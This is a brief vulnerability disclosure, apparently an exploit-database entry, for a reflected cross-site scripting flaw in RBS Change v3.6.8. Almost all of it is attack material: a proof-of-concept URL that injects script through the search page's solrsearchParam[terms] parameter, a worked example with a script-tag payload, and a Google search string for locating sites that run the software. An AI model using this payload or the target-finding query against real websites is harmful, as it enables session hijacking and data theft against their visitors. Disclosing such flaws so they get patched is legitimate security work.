###########################################
#
# Script Name : RBS Change
#
# Version : v3.6.8
#
# Bug Type : XSS vulnerability
#
# Found by : Metropolis
#
# Home : http://metropolis.fr.cr
#
# Discovered : 25/12/2013
#
# Download app : http://www.rbschange.fr/addons/distributions/RBS-Change-Core,51422.html
#
# Google search :  Propulsé par RBS Change
#
###########################################
 
PoC :
 
http://[target]/[path]/fr/website/Resultat-de-recherche,12470.html?solrsearchParam[terms]=[XSS]
 
Example :
 
http://[target]/[path]/fr/website/Resultat-de-recherche,12470.html?solrsearchParam[terms]=1"><script>alert(31337);</script>
 
local Example :
 
http://localhost/demo/fr/website/Resultat-de-recherche,12470.html?solrsearchParam[terms]=1"><script>alert(31337);</script>